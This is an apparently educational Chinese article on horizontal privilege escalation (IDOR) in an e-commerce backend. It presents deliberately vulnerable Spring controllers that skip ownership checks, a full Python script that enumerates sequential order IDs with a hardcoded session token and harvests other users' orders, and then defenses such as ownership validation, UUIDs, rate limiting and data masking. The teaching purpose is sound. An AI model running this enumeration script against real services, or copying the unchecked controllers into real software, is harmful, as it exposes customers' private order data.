在Web应用安全体系中,访问控制是守护数据边界的核心防线。当这道防线失效时,越权攻击便会有机可乘。其中,数据水平越权作为最常见且易被忽视的安全风险之一,常常在同权限层级用户之间制造数据泄露与篡改的漏洞,给企业和用户带来严重损失。本文将以电商系统为典型场景,深入剖析数据水平越权的本质、危害、典型场景与产生根源,并提供可落地的防御策略,助力开发者构建更稳固的安全防护体系。

一、数据水平越权的本质:平级用户的"跨界入侵"

1.1 定义与核心特征

水平越权(Horizontal Privilege Escalation),指的是同一权限等级的用户,通过非法手段突破系统限制,访问或操作其他同级别用户的私有数据或资源的行为。其核心特征是**"平级越界"**——攻击者与目标用户处于相同的权限层级(如普通消费者之间、商户用户之间),而非获取更高权限(如普通用户获取管理员权限,此为垂直越权)。

1.2 通俗类比与技术表现形式

我们可以用一个生活化的场景理解:同一栋公寓里,A户住户通过篡改钥匙或撬锁的方式,进入了权限相同的B户住户家中,查看或翻动其私人财物。在数字世界中,这种"撬锁"行为通常表现为:

  • 篡改HTTP请求参数(如userId=1001改为userId=1002

  • 绕过前端校验直接调用后端接口

  • 遍历可预测的ID(如自增的订单号、用户ID)

  • 利用接口未授权访问或权限校验不完整的漏洞

1.3 水平越权 vs 垂直越权

维度

水平越权

垂直越权

权限层级

同级别用户间越界

低级别用户获取高级别权限

攻击门槛

低(无需破解高权限账户)

中高(需突破角色权限限制)

隐蔽性

强(行为符合角色基础权限)

弱(操作超出角色常规权限)

危害范围

广(可批量获取同级别数据)

深(可控制整个系统)

检测难度

高(需结合业务逻辑校验)

中(可通过权限日志检测)

二、电商场景下水平越权的产生根源(结合代码实例)

以文中的电商系统为例,我们先明确核心业务规则:

  • 普通消费者:仅能查看自己的订单

  • 商户用户:仅能查看所属店铺下的所有订单

2.1 数据库设计基础

CREATE TABLE sys_user (
    user_id BIGINT NOT NULL AUTO_INCREMENT COMMENT '用户唯一ID',
    username VARCHAR(50) NOT NULL COMMENT '登录账号',
    user_name VARCHAR(50) NOT NULL COMMENT '用户姓名/昵称',
    user_type TINYINT NOT NULL COMMENT '用户类型:0-普通消费者 1-商户',
    shop_id BIGINT NULL COMMENT '商户所属店铺ID(普通消费者为NULL)',
    create_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
    PRIMARY KEY (user_id),
    INDEX idx_shop_id (shop_id) COMMENT '关联店铺索引,提升查询效率'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='系统用户表';

CREATE TABLE shop (
    shop_id BIGINT NOT NULL AUTO_INCREMENT COMMENT '店铺唯一ID',
    shop_name VARCHAR(100) NOT NULL COMMENT '店铺名称',
    shop_owner_id BIGINT NOT NULL COMMENT '店铺所属商户用户ID',
    status TINYINT DEFAULT 1 COMMENT '店铺状态:1-正常 0-禁用',
    create_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
    PRIMARY KEY (shop_id),
    INDEX idx_shop_owner_id (shop_owner_id) COMMENT '关联商户索引'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='店铺信息表';

CREATE TABLE `order` (
    order_id BIGINT NOT NULL AUTO_INCREMENT COMMENT '订单唯一ID',
    order_no VARCHAR(32) NOT NULL COMMENT '订单编号(非自增,避免遍历)',
    user_id BIGINT NOT NULL COMMENT '下单的消费者用户ID',
    shop_id BIGINT NOT NULL COMMENT '订单所属店铺ID',
    order_amount DECIMAL(10,2) NOT NULL COMMENT '订单金额',
    order_status TINYINT DEFAULT 0 COMMENT '订单状态:0-待支付 1-已支付 2-已完成 3-已取消',
    create_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
    PRIMARY KEY (order_id),
    UNIQUE INDEX uk_order_no (order_no) COMMENT '订单编号唯一索引',
    INDEX idx_user_id (user_id) COMMENT '消费者索引',
    INDEX idx_shop_id (shop_id) COMMENT '店铺索引'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='订单表';

2.2 现有代码的核心漏洞

漏洞1:角色权限校验与业务权限校验分离

@SaCheckRole("shop")
@GetMapping("/user/{userId}")
public Result<PageResult<Order>> listByUserId(@Validated PageDTO pageDTO, @PathVariable Long userId) {
    // 仅校验角色为商户,但未校验:当前登录商户是否有权限查看该用户的订单
    Page<Order> page = new Page<>(pageDTO.getPageNum(), pageDTO.getPageSize());
    LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>();
    queryWrapper.eq(Order::getUserId, userId); // 直接根据入参查询,无数据归属校验
    Page<Order> orderPage = orderService.page(page, queryWrapper);
    PageResult<Order> result = new PageResult<>(orderPage.getTotal(), orderPage.getRecords());
    return Result.success(result);
}

问题本质:仅校验"是否是商户角色",但未校验"该商户是否有权限访问此订单"——商户A可通过修改userId参数,查询任意消费者的订单,甚至其他商户店铺下的订单。

漏洞2:商户店铺权限未绑定

@SaCheckRole("user") // 此处角色校验错误!普通消费者应不能按店铺查订单
@GetMapping("/shop/{shopId}")
public Result<PageResult<Order>> listByShopId(@Validated PageDTO pageDTO, @PathVariable Long shopId) {
    // 1. 角色校验错误:普通消费者被赋予了按店铺查订单的权限
    // 2. 未校验:若为商户角色,当前登录商户是否属于该shopId的所有者
    Page<Order> page = new Page<>(pageDTO.getPageNum(), pageDTO.getPageSize());
    LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>();
    queryWrapper.eq(Order::getShopId, shopId); // 直接根据入参查询,无归属校验
    Page<Order> orderPage = orderService.page(page, queryWrapper);
    PageResult<Order> result = new PageResult<>(orderPage.getTotal(), orderPage.getRecords());
    return Result.success(result);
}

问题本质

  • 角色校验逻辑错误:普通消费者(user)不应拥有按店铺查询订单的权限

  • 数据归属校验缺失:商户可通过修改shopId参数,查询其他商户店铺的所有订单

假设现在存在一个根据订单Id查询数据的接口,设计的初衷是前端根据返回的

  • 普通消费者:仅能查看自己的订单

  • 商户用户:仅能查看所属店铺下的所有订单
    查询对应的订单详情,但当前的设计(orderId是自增的,且只验证是否登录)会让有心之人有可乘之机。参考以下controller设计和Exp

/**
     * 根据订单ID查询订单
     * @param orderId 订单ID
     * @return 订单详情结果
     */
    @SaCheckLogin
    @GetMapping("/{orderId}")
    public Result<Order> getById(@PathVariable Long orderId) {
        return Result.success(orderService.getById(orderId));
    }
#!/usr/bin/env python3
"""
IDOR (Insecure Direct Object Reference) Exploit
针对订单查询接口的安全漏洞演示

漏洞描述:
- 订单ID使用自增整数,可预测
- 仅验证用户登录状态,未验证订单所有权
- 攻击者可遍历订单ID获取其他用户订单信息
"""

import requests
import json
import time
from typing import List, Dict, Optional


class OrderIDORExploit:
    def __init__(self, base_url: str, session_token: str):
        """
        初始化exploit
        
        Args:
            base_url: 目标API基础URL (如: http://example.com/api)
            session_token: 有效的登录会话token
        """
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        
        # 设置认证头 - 使用token字段
        self.session.headers.update({
            'token': session_token,
            'Content-Type': 'application/json',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def test_single_order(self, order_id: int) -> Optional[Dict]:
        """
        测试单个订单ID
        
        Args:
            order_id: 订单ID
            
        Returns:
            订单数据或None
        """
        try:
            url = f"{self.base_url}/order/{order_id}"
            response = self.session.get(url, timeout=10)
            
            if response.status_code == 200:
                data = response.json()
                # 实际返回格式为 {"code": 0, "message": "success", "data": {...}}
                if data.get('code') == 0 and data.get('data'):
                    return data['data']
            
            return None
            
        except Exception as e:
            print(f"请求订单ID {order_id} 时出错: {e}")
            return None
    
    def enumerate_orders(self, start_id: int = 1, end_id: int = 1000, delay: float = 0.1) -> List[Dict]:
        """
        枚举订单ID范围
        
        Args:
            start_id: 起始订单ID
            end_id: 结束订单ID
            delay: 请求间隔(秒)
            
        Returns:
            成功获取的订单列表
        """
        found_orders = []
        
        print(f"开始枚举订单ID: {start_id} - {end_id}")
        print("=" * 50)
        
        for order_id in range(start_id, end_id + 1):
            order_data = self.test_single_order(order_id)
            
            if order_data:
                found_orders.append({
                    'order_id': order_id,
                    'data': order_data
                })
                
                # 打印找到的订单信息
                print(f"✓ 订单ID {order_id}: 用户ID={order_data.get('userId', 'N/A')}, "
                      f"金额={order_data.get('orderAmount', 'N/A')}, "
                      f"状态={order_data.get('orderStatus', 'N/A')}, "
                      f"店铺ID={order_data.get('shopId', 'N/A')}")
            else:
                print(f"✗ 订单ID {order_id}: 无数据或无权限")
            
            # 避免请求过快被限制
            time.sleep(delay)
        
        print("=" * 50)
        print(f"总共找到 {len(found_orders)} 个可访问的订单")
        
        return found_orders
    
    def analyze_orders(self, orders: List[Dict]) -> Dict:
        """
        分析获取到的订单数据
        
        Args:
            orders: 订单列表
            
        Returns:
            分析结果
        """
        if not orders:
            return {"message": "未找到任何订单数据"}
        
        user_ids = set()
        total_amount = 0
        statuses = {}
        shop_ids = set()
        
        for order in orders:
            data = order['data']
            
            # 统计用户ID
            if 'userId' in data:
                user_ids.add(data['userId'])
            
            # 统计店铺ID
            if 'shopId' in data:
                shop_ids.add(data['shopId'])
            
            # 统计金额
            if 'orderAmount' in data:
                try:
                    amount = float(data['orderAmount'])
                    total_amount += amount
                except (ValueError, TypeError):
                    pass
            
            # 统计订单状态 - 将数字状态转换为可读格式
            status_code = data.get('orderStatus', 'unknown')
            status_map = {
                0: '待支付',
                1: '已支付',
                2: '已发货', 
                3: '已完成',
                4: '已取消',
                5: '已退款'
            }
            status = status_map.get(status_code, f'状态{status_code}')
            statuses[status] = statuses.get(status, 0) + 1
        
        return {
            "total_orders": len(orders),
            "unique_users": len(user_ids),
            "unique_shops": len(shop_ids),
            "user_ids": sorted(list(user_ids)),
            "shop_ids": sorted(list(shop_ids)),
            "total_amount": round(total_amount, 2),
            "average_amount": round(total_amount / len(orders), 2) if orders else 0,
            "status_distribution": statuses,
            "sample_orders": orders[:5]  # 显示前5个订单作为样本
        }
    
    def save_results(self, orders: List[Dict], filename: str = "idor_results.json"):
        """
        保存结果到文件
        
        Args:
            orders: 订单列表
            filename: 输出文件名
        """
        with open(filename, 'w', encoding='utf-8') as f:
            json.dump(orders, f, ensure_ascii=False, indent=2)
        
        print(f"结果已保存到: {filename}")


def main():
    """
    主函数 - 演示IDOR攻击
    """
    # 配置参数
    BASE_URL = "http://localhost:8080"  # 修改为实际的API地址
    SESSION_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOjEsInJuU3RyIjoiU2pMN1ZyOU9Yb1BnNkFSdGNjOURRWjFOQ1FxVzhnQzkifQ.GMgJY9PxLFAUYGBI-Ghsg4Pjrzp_TAPgXarPgPfhst8"
    
    # 创建exploit实例
    exploit = OrderIDORExploit(BASE_URL, SESSION_TOKEN)
    
    print("IDOR漏洞利用工具")
    print("警告: 此工具仅用于安全测试,请勿用于非法用途!")
    print()
    
    # 枚举订单
    orders = exploit.enumerate_orders(
        start_id=1,      # 起始ID
        end_id=20,      # 结束ID (根据实际情况调整)
        delay=0.2        # 请求间隔
    )
    
    # 分析结果
    analysis = exploit.analyze_orders(orders)
    
    print("\n分析结果:")
    print("=" * 50)
    for key, value in analysis.items():
        if key != "sample_orders":
            print(f"{key}: {value}")
    
    # 保存结果
    if orders:
        exploit.save_results(orders)
    
    print("\n修复建议:")
    print("1. 实现订单所有权验证")
    print("2. 使用UUID替代自增ID")
    print("3. 添加访问控制检查")
    print("4. 实施API限流")


if __name__ == "__main__":
    main()

三、水平越权的全维度危害

3.1 用户层面:隐私裸奔与财产损失

危害类型

电商场景具体表现

敏感隐私泄露

攻击者遍历用户ID,获取消费者的收货地址、手机号、购买记录等隐私信息

精准电信诈骗

结合订单信息(如"刚购买了婴儿奶粉"),冒充客服实施退款、理赔诈骗,成功率极高

订单被恶意篡改

攻击者越权修改订单收货地址/联系方式,将高价值商品占为己有("改单黑产")

账户资产被盗

查看用户未支付订单,伪造支付链接;或获取用户支付习惯,针对性破解支付密码

3.2 业务层面:信任崩塌与运营混乱

  • 大规模数据泄露:攻击者编写脚本遍历userId/shopId,短时间内抓取数万条订单数据,形成"数据黑产"

  • 用户信任危机:一旦用户发现订单信息泄露,会立即流失且难以挽回,品牌口碑断崖式下跌

  • 商户间不公平竞争:商户A越权查看商户B的订单数据,分析其热销商品、客单价、用户群体,实施精准竞争

  • 内部管理失控:员工利用越权漏洞,倒卖平台订单数据,或篡改订单状态侵占商家货款

3.3 合规与法律层面:巨额罚单与刑事责任

  • 违反《个人信息保护法》:未采取必要措施保护用户个人信息,最高可处上一年度营业额5%的罚款

  • 《网络安全法》追责:发生大规模数据泄露,企业可能被停业整顿、吊销营业执照

  • 刑事责任风险:若数据泄露造成严重后果,开发/运维/管理负责人可能涉嫌"拒不履行信息网络安全管理义务罪"

  • 行业监管处罚:电商平台若发生此类漏洞,可能被监管部门暂停支付接口、下架商品,影响核心业务运转

四、可落地的防御策略(电商场景适配版)

4.1 核心防御原则:数据归属校验前置

所有数据查询/操作前,必须执行**"身份-权限-数据归属"三层校验**:

  1. 身份校验:是否登录(SaCheckLogin

  2. 权限校验:是否拥有对应角色(SaCheckRole

  3. 数据归属校验:当前用户是否有权限访问该数据(核心)

4.2 修复:构建"数据归属+权限"双重校验体系

4.2.1 参数来源可信化校验

对客户端传入的所有参数执行 “零信任” 校验逻辑:涉及隐私 / 核心数据的查询接口,禁止直接使用前端传递的业务标识(如订单 ID、用户 ID)作为查询条件,必须从服务端已验证的登录态(如 Token 解析结果)中提取核心身份标识(如 UserId、ShopId),并以此为基准关联数据归属关系(如用户 - 订单归属、商户 - 店铺订单归属),校验当前登录主体是否具备访问该数据的权限。对于存在统一归属字段(如 UserId)的接口,可通过全局拦截器 / 过滤器实现归属权的统一校验,避免重复开发。

4.2.2 接口参数防篡改与身份验证

通过参数签名机制强化接口安全性:基于前后端预约定的共享密钥(Secret Key),结合 SHA256 等单向散列算法对请求参数进行不可逆摘要计算生成签名;服务端接收请求后,复用相同密钥和算法重新计算签名并与前端传入的签名比对,若不一致则判定参数被篡改或请求来源非法,直接拒绝处理。同时可对敏感参数采用对称加密(如 AES)传输,进一步提升参数保密性。
注意:这种方法可以被前端逆向工程破解。

4.3 进阶防御策略

策略1:禁用自增ID暴露,使用UUID(即使泄露也降低危害)

  • 前端传递/展示的订单号、用户ID使用UUID(如将orderId=1001转为orderId=fc0bc61342266da5e513f1472539fd2b
    这样即使泄露数据也是有限的,因为没有办法枚举全部数据Id

策略2:增加接口访问频率限制(即使泄露也降低危害)

import cn.dev33.satoken.annotation.SaCheckLogin;
import cn.dev33.satoken.annotation.SaRateLimiter;
import org.springframework.web.bind.annotation.GetMapping;

// 限制单用户1分钟内最多访问10次
@SaRateLimiter(key = "#loginId", count = 10, period = 60)
@GetMapping("/order")
public Result<PageResult<Order>> listMyOrder(@Validated PageDTO pageDTO) {
    // 业务逻辑...
}

策略3:数据脱敏(即使泄露也降低危害)

// 订单返回时脱敏处理
PageResult<Order> result = new PageResult<>(orderPage.getTotal(), orderPage.getRecords());
result.getRecords().forEach(order -> {
    // 手机号脱敏:138****1234
    if (order.getReceiverPhone() != null) {
        order.setReceiverPhone(order.getReceiverPhone().replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2"));
    }
    // 地址脱敏:北京市朝阳区****小区
    if (order.getReceiverAddress() != null && order.getReceiverAddress().length() > 8) {
        order.setReceiverAddress(order.getReceiverAddress().substring(0, 8) + "****");
    }
});

策略4:日志审计与异常监控

记录接口调用日志,通过大数据+Ai发现水平越权的根源,这种做法可以找出很多漏洞。

策略5:定期安全测试

  • 黑盒测试:模拟攻击者篡改userId/shopId参数,验证是否能越权查询

  • 白盒审计:检查所有数据查询接口是否包含"登录用户ID/归属ID"的校验条件

五、总结

核心修复要点

  1. 数据归属校验前置:所有数据查询必须绑定"当前登录用户"的归属关系,杜绝直接使用前端传参的ID作为查询条件

  2. 角色与业务权限分离校验:角色校验(是否是商户)+ 业务权限校验(是否是该店铺的商户)缺一不可

  3. 禁用前端传参可控的核心ID:消费者查订单无需传userId(直接从登录态获取),商户查订单无需传shopId(从商户信息中获取)

防御核心思想

水平越权的本质是"权限校验只做了角色层,没做数据层",防御的关键是:

  • 后端不相信任何前端传递的参数,核心ID(用户ID、店铺ID)必须从登录态/数据库关联获取

  • 每一次数据访问都要回答:当前用户是否有权限访问这条数据?

  • 即使角色校验通过,也必须通过"数据归属"校验才能放行。

通过以上策略,可从根本上杜绝电商场景下的水平越权攻击,守护用户数据安全与企业业务稳定。